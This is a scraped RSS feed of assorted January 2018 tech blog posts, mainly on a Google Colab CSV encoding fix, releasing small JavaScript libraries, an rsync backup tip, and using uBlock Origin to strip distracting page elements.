&lt;p&gt;You may have noticed the general theme going here — &lt;strong&gt;automation&lt;/strong&gt;. I had a plethora of other tips for this article that I cut, as &lt;strong&gt;a)&lt;/strong&gt; you can find them in articles elsewhere and &lt;strong&gt;b)&lt;/strong&gt; data is the only way you will be able to find weak points. A chain is only as strong as its weakest link. For example, perhaps your application (targeted at a less than tech-savvy audience who don’t use crazy high entropy pass-phrases with a password manager) has a password policy which means many people are writing their passwords on post-its and putting them on their desk. This may lead to someone spotting the password and using it. Without data and monitoring, you would never be able to see that the users account was accessed from a new IP. The point is, there is no “one-size fits all” solution to security. Take a look at how your app is being used and prioritize security methods to help those use cases first.&lt;/p&gt;
&lt;p&gt;And that’s a wrap. &lt;strong&gt;Let me know which tip you found most useful or implemented yourself!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;👋 I am available for hire as a freelance web and application developer. Contact me at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; if you would like to discuss any projects you have in mind.&lt;/p&gt;</description><author/><pubDate>Wed, 24 Jan 2018 00:12:03 GMT</pubDate><guid isPermaLink="true">/bulletproof-node/</guid></item><item><title>Character Encoding</title><link>https://www.ashish.zip/2018/01/character-encoding.html</link><description>Google released&amp;nbsp;Colaboratory&amp;nbsp;as a data science&amp;nbsp;tool for the purpose of providing computational and hosting Jupyter&amp;nbsp;notebooks to experiment. It also provides a good demonstration of Tensorflow machine learning library. It saves files as python notebook (.ipynb extension) within a designated folder inside your Google drive account.&lt;br /&gt;
&lt;br /&gt;
I got all excited with this and not to say the least that it provides users with 13 GB of ram, Intel dual-core Xeon processors as shown below. It is rationed from some VM but I am not aware of the internal details.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZnJermpF-uipoP0YWk20huET4GqfBTw_v_NdiBmcLKxNz9M0syB-HNtowLBSdya2ZXKet3ZBdvfzdaDRUoIVpF8HalitGQyrClNQKS_trZOBVQRmPKhO8oksRzY3ZoSHQfgA7_PNPlPjH/s1600/screenshot.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZnJermpF-uipoP0YWk20huET4GqfBTw_v_NdiBmcLKxNz9M0syB-HNtowLBSdya2ZXKet3ZBdvfzdaDRUoIVpF8HalitGQyrClNQKS_trZOBVQRmPKhO8oksRzY3ZoSHQfgA7_PNPlPjH/s640/screenshot.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;
  &lt;br /&gt;
&lt;br /&gt;
At the writing of this post, it just provides Python 2 and 3 kernels. R and other languages are supposed to be added in future. It seems they are serious since they have added Jake Vanderplas (http://vanderplas.com/)&amp;nbsp; as a visiting researcher beginning of this year.&lt;br /&gt;
I took a plunge in the Colaboratory&amp;nbsp;by trying to see if I can analyze my local data. There is a Jupyter&amp;nbsp;notebook provided as a documentation to load the data from local machine, Google drive, Google sheets, Google cloud as expected:&amp;nbsp;https://colab.research.google.com/notebook#fileId=/v2/external/notebooks/io.ipynb however it does tell us how can we "use" those files. It seems to be outside the scope of documentation so it was of no help to me. I kept trying to read the file after loading it into an object&lt;br /&gt;
&lt;br /&gt;
##Fail&lt;br /&gt;&lt;br /&gt;import pandas as pd&lt;br /&gt;&lt;div&gt;
from google.colab import files&lt;br /&gt;uploaded = files.upload()&lt;br /&gt;&lt;br /&gt;for fn in uploaded.keys():&lt;br /&gt;&amp;nbsp; &amp;nbsp;print('User uploaded file "{name}" with length {length} bytes'.format(&lt;br /&gt;&amp;nbsp; &amp;nbsp;name=fn, length=len(uploaded[fn])))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
#To see if the file is in the current folder but I could not find it&lt;/div&gt;
&lt;div&gt;
!ls&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
#I loaded the file anyway to see if it was present&lt;/div&gt;
&lt;div&gt;
pd.read_csv('YCOM-Web2016_2017-11-29.csv')&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
But there was no file. It kept saying file could not be found.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
The problem was pretty trivial, it turns out that uploaded files are "never" uploaded to the hard drive but are stored in RAM as Python objects and we need to work with those objects as I found the solution&amp;nbsp; using this stack overflow link:&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
https://stackoverflow.com/questions/48340341/read-csv-to-dataframe-in-google-colab&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
##Parital solution&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
import pandas as pd&lt;br /&gt;import io&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
from google.colab import files&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;uploaded = files.upload()&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;for fn in uploaded.keys():&lt;br /&gt;&amp;nbsp; &amp;nbsp;print('User uploaded file "{name}" with length {length} bytes'.format(&lt;br /&gt;&amp;nbsp; &amp;nbsp;name=fn, length=len(uploaded[fn])))&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
##Output&lt;/div&gt;
&lt;br /&gt;YCOM-Web2016_2017-11-29.csv(text/csv) - 1243703 bytes, last modified: 1/19/2018 - %100 done&lt;br /&gt;User uploaded file "YCOM-Web2016_2017-11-29.csv" with length 1243703 bytes&lt;br /&gt;&lt;br /&gt;&lt;div&gt;
&lt;div&gt;
##End of output&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
df = pd.read_csv(io.StringIO(uploaded['YCOM-Web2016_2017-11-29.csv'].decode('utf-8')))&lt;/div&gt;
&lt;div&gt;
df&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style="background-color: white; color: darkred; font-family: monospace; font-size: 14px; white-space: pre;"&gt;UnicodeDecodeError&lt;/span&gt;&lt;span style="background-color: white; color: #212121; font-family: monospace; font-size: 14px; white-space: pre;"&gt;: 'utf-8' codec can't decode byte 0x96 in position 505403: invalid start byte&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
What is this UnicodeDecodeError? It turns out that my file did not have utf-8 encoding which I supposed. I needed to convert the io object string into file format which Pandas library could swallow. Again, google come to the rescue, I got this page where we have the list of different encodings:&amp;nbsp;https://docs.python.org/3/library/codecs.html#standard-encodings&lt;/div&gt;
&lt;div&gt;
for which Python 3 has the support.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I changed my line in the code to&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
df = pd.read_csv(io.StringIO(uploaded['YCOM-Web2016_2017-11-29.csv'].decode('ISO-8859-1')))&lt;br /&gt;df&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
and it loaded with full glory!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Notice we have the argument to decode changed from utf-8 to ISO-8859-1 which allows characters not supported by utf-8. I am still mystified since, the file was supposed to be a plain old csv file but well for the future references, always check your file encoding using this command:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
file -I file_name.csv&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
which on my mac shows up as "unknown-8bit".&amp;nbsp; Not very helpful but we do know that it is not plain old "us-ascii".&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
TLDR: Check your encoding before you load the file and do not make quick assumptions especially when working with new systems!&lt;/div&gt;



&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;</description><author>Thoughts and ideas</author><pubDate>Tue, 23 Jan 2018 20:32:57 GMT</pubDate><guid isPermaLink="true">https://www.ashish.zip/2018/01/character-encoding.html</guid></item><item><title>Taking the pain out of logo design with Tailor Brands</title><link>https://ilearnt.com/blog/tailorbrands/</link><description>&lt;p&gt;I came across a link on Product Hunt to &lt;a href="https://www.tailorbrands.com/?ref=producthunt" target="_blank"&gt;Tailor Brands&lt;/a&gt; who do automatic logo creation and branding. It is great to see them still doing well. I used them for my company logo, &lt;a href="https://sentioventures.com" target="_blank"&gt;Sentio Ventures&lt;/a&gt;, shortly after they started in 2014!&lt;/p&gt;</description><author>I Learnt</author><pubDate>Tue, 23 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/tailorbrands/</guid></item><item><title>Plans of the car industry, and my vision of driverless cars</title><link>https://stop.zona-m.net/2018/01/plans-of-the-car-industry-and-my-vision-of-driverless-cars/</link><description>&lt;p&gt;Two recent articles from the top of the car industry confirm my assumptions and positions on &lt;a href="https://stop.zona-m.net/2017/10/the-real-name-and-value-of-self-driving-cars/"&gt;driverless cars, and the right way to call and manage them&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 23 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/plans-of-the-car-industry-and-my-vision-of-driverless-cars/</guid></item><item><title>Are dumb smart homes also coming to India?</title><link>https://stop.zona-m.net/2018/01/are-dumb-smart-homes-also-coming-to-india/</link><description>&lt;p&gt;One month ago I visited Trivandrum. It was a wonderful experience, in which I learned, or found confirmations of, a lot of good things about India. I also noticed one thing that made me a bit sad, though.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 23 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/are-dumb-smart-homes-also-coming-to-india/</guid></item><item><title>React ratio</title><link>https://muffinman.io/blog/react-ratio-component/</link><description>&lt;article class="article"&gt;&lt;p&gt;Short one today.&lt;/p&gt;
&lt;p&gt;I&amp;#x27;m continuing to release &lt;a href="/blog/has-tabbed-aka-should-i-release-small-libraries/"&gt;small libraries&lt;/a&gt;.
So let me present &lt;a href="https://www.npmjs.com/package/react-ratio"&gt;react-ratio&lt;/a&gt;, another small React component.
You probably guessed what it does - creates element with the given aspect ratio.&lt;/p&gt;
&lt;p&gt;Check &lt;a href="https://muffinman.io/react-ratio/"&gt;the demo&lt;/a&gt; or grab &lt;a href="https://github.com/Stanko/react-ratio"&gt;the source code&lt;/a&gt;&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Tue, 23 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/react-ratio-component/</guid></item><item><title>How to copy all your repositories without node_modules with rsync.</title><link>https://danielsada.tech/blog/copy-node-modules/</link><description>Sometimes when we are making backups on our files, and specially if you are a Node.js developer, you&amp;rsquo;ll suffer whilst copying your repositories to another place for making a backup. (Provided you don&amp;rsquo;t have git for all your repositories)
Just do:
rsync -av --exclude 'node_modules' source destination And you are set. You could also exclude some other things like adding adding gitignore rules
rsync -av --filter=&amp;quot;:- .gitignore&amp;quot; source destination</description><author>Daniel Sada Caraveo | Developer Productivity &amp;amp; Culture</author><pubDate>Tue, 23 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://danielsada.tech/blog/copy-node-modules/</guid></item><item><title>How to communicate with Angular components outside of Angular</title><link>https://stribny.name/posts/how-to-communicate-with-angular-components-outside-angular/</link><author>Posts by Petr Stribny</author><pubDate>Mon, 22 Jan 2018 23:18:53 GMT</pubDate><guid isPermaLink="true">https://stribny.name/posts/how-to-communicate-with-angular-components-outside-angular/</guid></item><item><title>Blockchain - what impact will it have?</title><link>https://ilearnt.com/blog/35blockchain/</link><description>&lt;p&gt;There are a lot of stories around how Blockchain could revolutionize every industry. This is a nice summary of some of the companies that are trying to make this happen and the way they are trying to make an impact.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 22 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/35blockchain/</guid></item><item><title>Could Amazon revolutionize the shopping experience?</title><link>https://ilearnt.com/blog/amazonshop/</link><description>&lt;p&gt;&lt;a href="https://www.inc.com/betsy-mikel/amazon-just-made-a-huge-announcement-that-will-completely-change-future-of-shopping.html" target="_blank"&gt;Amazon just opened the first store with no cashiers or checkouts.&lt;/a&gt;&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 22 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/amazonshop/</guid></item><item><title>Technology - Am I past it?</title><link>https://ilearnt.com/blog/pastit/</link><description>&lt;p&gt;This is an interesting &lt;a href="https://rob.conery.io/2018/01/22/the-modern-dev-team/" target="_blank"&gt;post&lt;/a&gt; from Rob Conery, someone I&amp;rsquo;ve followed for quite some time, and his observations as he gets older about how he wonders if he is past keeping up with new technology.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Mon, 22 Jan 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/pastit/</guid></item><item><title>Forget blockchain. THESE are smart contracts</title><link>https://stop.zona-m.net/2018/01/forget-blockchain.-these-are-smart-contracts/</link><description>&lt;p&gt;The blockchain is one of the two or three foundations of the &lt;a href="https://stop.zona-m.net/2018/01/and-the-business-model-of-the-year-is.../"&gt;business model of the century&lt;/a&gt;. One of its applications should be &amp;ldquo;smart contracts&amp;rdquo;. Unless another idea gets the credit it deserves.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 22 Jan 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/forget-blockchain.-these-are-smart-contracts/</guid></item><item><title>'has-tabbed aka Should I release small libraries?'</title><link>https://muffinman.io/blog/has-tabbed-aka-should-i-release-small-libraries/</link><description>&lt;article class="article"&gt;&lt;p&gt;I just released tiny library called &lt;a href="https://www.npmjs.com/package/has-tabbed"&gt;has-tabbed&lt;/a&gt;.
Again, it is a small piece of code I regularly copy from project to project.
I always considered it too insignificant for releasing it as a standalone package.&lt;/p&gt;
&lt;p&gt;When user presses tab key, it adds
&lt;span class="sidenote__text" tabindex="0"&gt;CSS class&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;By default &lt;code&gt;--tabbed&lt;/code&gt; is used, but it accepts custom class as parameter.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
to &lt;code&gt;html&lt;/code&gt; element.
Then, if user clicks anywhere on the page, it removes it. That&amp;#x27;s why I though it is too small.
But after giving it some thought, my answer to the question in the title is &amp;quot;YES&amp;quot;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You should release small libraries no matter how small they are.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It is ok if library does only
&lt;span class="sidenote__text" tabindex="0"&gt;one small thing&lt;/span&gt;&lt;span class="sidenote__note"&gt;&lt;span class="sidenote__note-inner"&gt;&lt;span class="sidenote__note-text"&gt;It should do it right though.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;.
It will save you time as you don&amp;#x27;t have to copy it all the time,
and sharing will allow other people to use and improve it.&lt;/p&gt;
&lt;p&gt;Now when we resolved that question, let&amp;#x27;s get back to &lt;code&gt;has-tabbed&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="what-is-it-for"&gt;What is it for? &lt;a class="anchor-link" href="#what-is-it-for"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;It is a small accessibility and UX improvement.
Web apps need focus states with &amp;quot;ugly&amp;quot; focus rings.
Most developers will just remove them.
This is something you shouldn&amp;#x27;t do, as it impacts accessibility and overall UX.
More people than you think are using keyboard to navigate through websites and apps.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;has-tabbed&lt;/code&gt; allows you to have the best of both worlds.
It gives you a way yo differentiate if user is using keyboard or mouse to get around.
You can safely remove focus rings for people using a mouse,
but as soon as they start tabbing you can put them back in.
You&amp;#x27;ll understand what I&amp;#x27;m talking about when you see &lt;a href="https://muffinman.io/has-tabbed/"&gt;the demo&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="image__figure"&gt;&lt;img alt="has-tabbed in action" height="502" src="./has-tabbed.png" width="1080" /&gt;&lt;/figure&gt;
&lt;p&gt;On the left, you can see colorful buttons without focus state (with hover state on the first one).
As soon as user presses tab we can add focus state as shown on the right.&lt;/p&gt;
&lt;p&gt;Of course it is open source and code is available &lt;a href="https://github.com/Stanko/has-tabbed"&gt;here&lt;/a&gt;.
Enjoy!&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Mon, 22 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/has-tabbed-aka-should-i-release-small-libraries/</guid></item><item><title>How To Take Back Your Attention On The Internet with uBlock</title><link>https://josh.works/take-back-your-attention</link><description>&lt;p&gt;&lt;em&gt;note: this page has 17Mb of gifs and images. I don’t really want to take the time to manually trim the gifs from &amp;gt;3Mb/each to &amp;lt;1Mb each, so I didn’t. If you’re on mobile, or trying to conserve data, you might want to come back to this one later.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I value my attention and focus. I resent &lt;em&gt;strongly&lt;/em&gt; when someone tries to take it away from me.&lt;/p&gt;

&lt;p&gt;Someone tries to derail my attention pretty much any time I browse the internet. Little pop-ups, auto-playing videos, click-baity headlines, etc.&lt;/p&gt;

&lt;p&gt;I’ve settled on a pretty good system for blocking annoying crap on the internet.&lt;/p&gt;

&lt;p&gt;Here’s the elements on a few different websites that &lt;em&gt;I&lt;/em&gt; visit regularly, with the elements I’m going to remove highlighted.&lt;/p&gt;

&lt;p&gt;We’re going to take this:&lt;/p&gt;

&lt;p&gt;&lt;img alt="crappy twitter" src="/images/2018-01-18-twitter-01.png" /&gt;&lt;/p&gt;

&lt;p&gt;To this:&lt;/p&gt;

&lt;p&gt;&lt;img alt="better twitter" src="/images/2018-01-18-twitter-02.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;I’ve got some special “rules” for twitter at the bottom of this post. The key is to know you may have to use wildcards in your CSS rules to catch all instances of a thing you want to block, like:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;twitter.com##li[id^="stream-item-who_to_follow_entry"]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;!--more--&gt;

&lt;p&gt;And bad LinkedIn:&lt;/p&gt;

&lt;p&gt;&lt;img alt="bad linkedin" src="/images/2018-01-18-linkedin-01.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;To less-bad LinkedIn:&lt;/p&gt;

&lt;p&gt;&lt;img alt="good linkedin" src="/images/2018-01-18-linkedin-02.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Bad Comcast email login: (which I never use)&lt;/p&gt;

&lt;p&gt;&lt;img alt="bad xfinity" src="/images/2018-01-20-xfinity_01.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;To better:&lt;/p&gt;

&lt;p&gt;&lt;img alt="less bad xfinity" src="/images/2018-01-20-xfinity_02.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Inside the above email account. I’m already paying them money, why must I be assaulted with further ads?&lt;/p&gt;

&lt;p&gt;&lt;img alt="bad comcast" src="/images/2018-01-20-xfinity_03.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;I love StackOverflow. I couldn’t do my job without it. But even StackOverflow has unwanted cruft on its pages.&lt;/p&gt;

&lt;p&gt;I didn’t get a screenshot of the worst offender - the “Hot Network Questions”, where popular questions from entirely unrelated topics are listed. Questions like&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;“Why does Yoda age so slowly in the newest Star Wars”&lt;/li&gt;
  &lt;li&gt;“Short story where the protagonist is unknowingly the demon Beelzebub”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are distracting and unwelcome. With uBlock, I can remove them all, forever.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Stack Overflow" src="/images/2018-01-21_so_01.jpg" /&gt;&lt;/p&gt;

&lt;h1 id="install-ublock-to-permanently-delete-all-this-crap"&gt;Install uBlock to permanently delete all this crap&lt;/h1&gt;

&lt;p&gt;First, you’ll need &lt;a href="https://github.com/gorhill/uBlock"&gt;uBlock Origin&lt;/a&gt;. It it is basically a tool that sits between your browser and the internet, and if any scripts are calling resources that match anything in a blacklist, it keeps the resource from loading.&lt;/p&gt;

&lt;p&gt;From uBlock’s own description:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;uBlock Origin is &lt;strong&gt;NOT&lt;/strong&gt; an “ad blocker”: &lt;a href="https://github.com/gorhill/uBlock/wiki/Blocking-mode"&gt;it is a wide-spectrum blocker&lt;/a&gt; – which happens to be able to function as a mere “ad blocker”. The default behavior of uBlock Origin when newly installed is to block ads, trackers and malware sites – through &lt;a href="https://easylist.github.io/#easylist"&gt;&lt;em&gt;EasyList&lt;/em&gt;&lt;/a&gt;, &lt;a href="https://easylist.github.io/#easyprivacy"&gt;&lt;em&gt;EasyPrivacy&lt;/em&gt;&lt;/a&gt;, &lt;a href="https://pgl.yoyo.org/adservers/policy.php"&gt;&lt;em&gt;Peter Lowe’s ad/tracking/malware servers&lt;/em&gt;&lt;/a&gt;, various lists of &lt;a href="http://www.malwaredomainlist.com/"&gt;malware&lt;/a&gt; &lt;a href="http://www.malwaredomains.com/"&gt;sites&lt;/a&gt;, and uBlock Origin’s &lt;a href="https://github.com/uBlockOrigin/uAssets/tree/master/filters"&gt;own filter lists&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It’s a powerful tool. Install it for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/"&gt;Firefox&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm"&gt;Chrome&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://github.com/el1t/uBlock-Safari#ublock-originfor-safari"&gt;Safari’s comically complicated install process (nevermind. You have to reinstall every time you restart safari. Don’t use safari. Use  Firefox instead)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.microsoft.com/en-us/store/p/app/9nblggh444l4?rtc=1"&gt;Microsoft Edge&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Do you have it installed? You should see a little icon in your browser with a number on it now.&lt;/p&gt;

&lt;p&gt;&lt;img alt="ublock in browser" src="/images/2018-01-21_ublock_01.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;(By the way, that badge with a 50 on it is the number of scipts and resources uBlock is disabling &lt;em&gt;by default&lt;/em&gt; on this domain.)&lt;/p&gt;

&lt;h2 id="using-ublock"&gt;Using uBlock&lt;/h2&gt;

&lt;p&gt;I’m on &lt;a href="https://www.denverpost.com/2018/01/21/colorado-10-lane-highway-autonomous-vehicle-lane-traffic/"&gt;denverpost.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here’s how we choose and block page elements.&lt;/p&gt;

&lt;p&gt;Lets first pick that header-bar asking me to turn on browser notifications:&lt;/p&gt;

&lt;p&gt;&lt;img alt="gif of uBlock in action" src="/images/2018-01-21_ublock_02.gif" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gif of ublock in action&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;What I’m doing is:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Click the uBlock menu icon&lt;/li&gt;
  &lt;li&gt;Select the “element picker” tool. (it looks like an eye dropper)&lt;/li&gt;
  &lt;li&gt;Mouseover the page until I’ve “selected” the portion of the page I want to remove. (uBlock highlights the current page node that the rule would apply to)&lt;/li&gt;
  &lt;li&gt;Click that element of the page&lt;/li&gt;
  &lt;li&gt;When I click, a very hard-to-see menu pops up in the bottom right corner of the page. I then move my mouse over to it, and click the “create” button.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;At that point, uBlock finds that element of the page and deletes it. Forever.&lt;/p&gt;

&lt;p&gt;A brief technical aside of what’s going on:&lt;/p&gt;

&lt;p&gt;The page is represented to the user as a continuous document, but the underlying structure is a “Document Object Model”, and every page element is a “node” that exists mostly-independently of any other node on the page. We’re using uBlock to highlight the nodes of the DOM, and when we select one, uBlock says “ok, this here node… I’ll just remove it from the DOM”.&lt;/p&gt;

&lt;p&gt;Lets remove more nodes. I really don’t like email/subscribe popups, so I always delete them.&lt;/p&gt;

&lt;p&gt;&lt;img alt="remove the subscribe notification" src="/images/2018-01-21_ublock_03.gif" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gif of removing subscribe popup&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;“Trending” news is just a way of saying&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;you’re not here to read these articles, but other people are clicking on them and we hope you’ll do the same.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, remove it:&lt;/p&gt;

&lt;p&gt;&lt;img alt="remove the sidebar" src="/images/2018-01-21_ublock_04.gif" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gif of removing the sidebar&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The final version is quite a bit more peaceful and less disruptive and attention-grabbing than the origional website.&lt;/p&gt;

&lt;p&gt;Oh, and these rules usually apply to “promoted” content that’s inserted in your “feed”. Just find the promoted node, select it, and delete it. This usually will apply to &lt;em&gt;all&lt;/em&gt; promoted posts in your feed, so it’s a great way to get spam out of whatever long list you are scrolling through. (Facebook/Instagram/Twitter).&lt;/p&gt;

&lt;h2 id="a-few-surprises-that-can-happen-with-ublock"&gt;A few surprises that can happen with uBlock&lt;/h2&gt;

&lt;p&gt;Since uBlock by default disables many unwanted scripts and resources, it can introduce some unexpected behavior on websites. If a website isn’t behaving exactly as expected, turn off uBlock and see if the resource loads.&lt;/p&gt;

&lt;p&gt;For example, some websites use untrustworthy javascript redirects to track your movement to third-party websites. if those redirects rely on untrusted third-party resources, they won’t be loaded on the page. Ditto for some kinds of form submission behavior, image/video resources, etc.&lt;/p&gt;

&lt;p&gt;So, turning off uBlock is very easy:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Click the uBlock menu icon&lt;/li&gt;
  &lt;li&gt;click the blue “power” icon&lt;/li&gt;
  &lt;li&gt;Click the “refresh page” button&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;uBlock will not block anything on this page now. To turn it back on, repeat the above steps.&lt;/p&gt;

&lt;p&gt;&lt;img alt="turning off ublock" src="/images/2018-01-21_ublock_05.gif" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gif of temporarily disabling uBlock&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;If you accidentally delete an element you didn’t intend (like, the main content of the page, for example!) you’ll have to remove the “page rule” you just created.&lt;/p&gt;

&lt;p&gt;This is very easy.&lt;/p&gt;

&lt;p&gt;&lt;img alt="deleting wrong element" src="/images/2018-01-21_ublock_06.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;picture of where the article is *supposed* to be&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;click uBlock menu icon&lt;/li&gt;
  &lt;li&gt;click “open the dashboard”&lt;/li&gt;
  &lt;li&gt;navigate to the “my filters” tab&lt;/li&gt;
  &lt;li&gt;delete the bottom line from that list of rules. A line beginning with &lt;code class="language-plaintext highlighter-rouge"&gt;!&lt;/code&gt; is a comment describing the next line, which is the “rule” that uBlock actually reads and applies to the page.&lt;/li&gt;
  &lt;li&gt;click “apply changes”&lt;/li&gt;
  &lt;li&gt;go back to the website (it’s tab is still open) and refresh the page.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img alt="fixing a bad delete" src="/images/2018-01-21_ublock_07.gif" /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;gif of removing the bad page rule&lt;/em&gt;&lt;/p&gt;

